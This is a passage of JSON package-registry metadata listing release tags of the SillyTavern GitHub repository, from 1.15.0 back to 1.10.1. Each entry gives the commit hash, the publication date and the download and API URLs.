ncy_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.15.0/manifests"},{"name":"1.14.0","sha":"9c9be90821ffd6132b40b5f04982522a61d7ad30","kind":"commit","published_at":"2025-11-22T15:27:11.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.14.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.14.0/manifests"},{"name":"1.13.5","sha":"74c158bd2e98b8b4dc54d2bb0d088c5a5e918826","kind":"commit","published_at":"2025-10-16T17:31:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.5/manifests"},{"name":"1.13.4","sha":"6dabf12ed785087cfe50b8027c582b16faa2ac4d","kind":"commit","published_at":"2025-09-13T17:48:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.4/manifests"},{"name":"1.13.3","sha":"1a1f57e00ead3b7e4a30269caf4b1c756310206b","kind":"commit","published_at":"2025-08-25T15:12:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.3/manifests"},{"name":"1.13.2","sha":"9a191c41e8b8fa7d203974c0b0debdfe1146a7a0","kind":"commit","published_at":"2025-07-26T19:16:05.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.2/manifests"},{"name":"1.13.1","sha":"a2efd8792c1cd0791c63bf6fa39ab03dada5d4bd","kind":"commit","published_at":"2025-06-22T15:15:27.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.1/manifests"},{"name":"1.13.0","sha":"90eb74545c5071ddc614d838d163c0a164f73382","kind":"commit","published_at":"2025-05-25T19:18:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.13.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.13.0/manifests"},{"name":"1.12.14","sha":"689637b36c178478545b46a4bec0f25ae3b97471","kind":"commit","published_at":"2025-04-21T15:51:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.14","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.14/manifests"},{"name":"1.12.13","sha":"d8c8bfa8a43f34ba02ff421fc8adcc8376daff61","kind":"commit","published_at":"2025-03-15T20:47:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.13","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.13/manifests"},{"name":"1.12.12","sha":"75aec772719006bdefcdfa2f5a0fb0ac0d257158","kind":"commit","published_at":"2025-02-16T19:15:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.12","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"cc010643ad4f8fb5bbcfe7d36c6108ff5729c396","kind":"commit","published_at":"2025-01-18T22:13:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.11","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f246bc5ac6eeff65de0e482bc88f22e9b55a8eac","kind":"commit","published_at":"2025-01-01T15:21:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"bf4357774dc8ba1171899687181edea071b08221","kind":"commit","published_at":"2024-12-07T13:12:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"de3f340a557477773b35726c4ecbcc016fc9743b","kind":"commit","published_at":"2024-12-01T15:31:30.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"da18b5e85d1ebc1f2834c3422b7946b98447f625","kind":"commit","published_at":"2024-10-26T13:44:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"648e70b8c6ae10052c2e28d164390ff50846777a","kind":"commit","published_at":"2024-09-24T17:31:07.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"2428c3979fe6dee360426b72fe6aa88e46091dd8","kind":"commit","published_at":"2024-08-24T14:59:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"2cd51819e806ba59a900aa77cf0e362d980ab921","kind":"commit","published_at":"2024-07-27T18:56:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"6e86ab07dde6fb663b50616ff84f7a54d1a3c186","kind":"commit","published_at":"2024-07-03T09:26:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"6eb74cb7157b3600360c8e90528419341e214f30","kind":"commit","published_at":"2024-06-30T15:22:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"f05d90bada1434fc540b733a6e04f231ed54ec3e","kind":"commit","published_at":"2024-06-08T15:45:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.1/manifests"},{"name":"1.12.0-6","sha":"db2c9a9926abba2688e6df9b11e194194a4db41e","kind":"commit","published_at":"2024-05-20T20:50:34.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-6/manifests"},{"name":"1.12.0","sha":"53496d70f1cfca7891d75058e8be39999ea67657","kind":"commit","published_at":"2024-05-19T13:45:57.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0/manifests"},{"name":"1.12.0-preview","sha":"80ff8383fe4688f7deb8de69d706a56ce219f79e","kind":"commit","published_at":"2024-04-21T19:36:28.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.12.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.12.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.12.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.12.0-preview/manifests"},{"name":"1.11.8","sha":"47b656260595967ad70b749845f7b5b33ed3631c","kind":"commit","published_at":"2024-04-21T18:24:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.8/manifests"},{"name":"1.11.7","sha":"13762470b032c01fe6777a9331fb08387de3632b","kind":"commit","published_at":"2024-04-06T12:30:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.7/manifests"},{"name":"1.11.6","sha":"f121d1da564c6402750683d36b02365631cf04ac","kind":"commit","published_at":"2024-03-16T14:35:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6/manifests"},{"name":"1.11.5","sha":"6f5dbc2a52b3e6371bb2bfacd433905db60a1684","kind":"commit","published_at":"2024-02-27T19:11:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5/manifests"},{"name":"1.11.4-1","sha":"2d152d2705408f0ad635de9705c0ae70d06b4331","kind":"commit","published_at":"2024-02-11T13:38:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4-1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1/manifests"},{"name":"1.11.4","sha":"91f31e746ee2f0c1e31f852facff64e00205729c","kind":"commit","published_at":"2024-02-10T19:24:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4/manifests"},{"name":"1.11.3","sha":"593129175b9c3a972e084869cd94be5c83ee4593","kind":"commit","published_at":"2024-02-04T18:42:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3/manifests"},{"name":"1.11.2","sha":"5f5c066373b0b41ddf42ce1d50e4fe20201a88b1","kind":"commit","published_at":"2024-01-14T18:52:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2/manifests"},{"name":"1.11.1","sha":"736223a86acfd9919c707bd09c3ebc02a8ab00fd","kind":"commit","published_at":"2023-12-23T18:47:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1/manifests"},{"name":"1.11.0","sha":"f43d738dfd10b9430130ec1bd2805aac02c6ecf0","kind":"commit","published_at":"2023-12-09T17:59:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0/manifests"},{"name":"1.10.10","sha":"74e5e0e4c0f800651fea7c57604158f552435393","kind":"commit","published_at":"2023-11-26T18:38:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10/manifests"},{"name":"1.10.9","sha":"7bf62b3dad1c63ae0255d6c18e520ba97210d9ab","kind":"commit","published_at":"2023-11-12T23:52:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9/manifests"},{"name":"1.10.8","sha":"09ebbff30d47206bd020a5a6f3f0f2531d112266","kind":"commit","published_at":"2023-11-11T14:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8/manifests"},{"name":"1.10.7","sha":"9be3645152dab9d5b5062fa0546389aedca71d13","kind":"commit","published_at":"2023-10-27T10:26:43.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7/manifests"},{"name":"1.10.6","sha":"b4c7bb1f7b9ed38358d61c9b9d3a78ac7e9d6b85","kind":"commit","published_at":"2023-10-26T15:44:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6/manifests"},{"name":"1.10.5","sha":"c9c4f3063704c9c447466575b9831a6de368f31a","kind":"commit","published_at":"2023-10-08T18:08:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5/manifests"},{"name":"1.10.4","sha":"565327fe1ef5a3eb16cd1b9ce28b9620962a3cda","kind":"commit","published_at":"2023-09-22T20:07:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4/manifests"},{"name":"1.10.3","sha":"2b3055a84adee50a55c97c20f9ca8d6ff061c28d","kind":"commit","published_at":"2023-09-15T11:56:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3/manifests"},{"name":"1.10.2","sha":"3830347d81d4e75d5e2a266f12888416f2e4a0f1","kind":"commit","published_at":"2023-09-06T13:06:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"500994e05165359245e7e884fb8155870448d2d9","kind":"commit","published_at":"2023-09-06T11:50:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1/manifests"},{"nam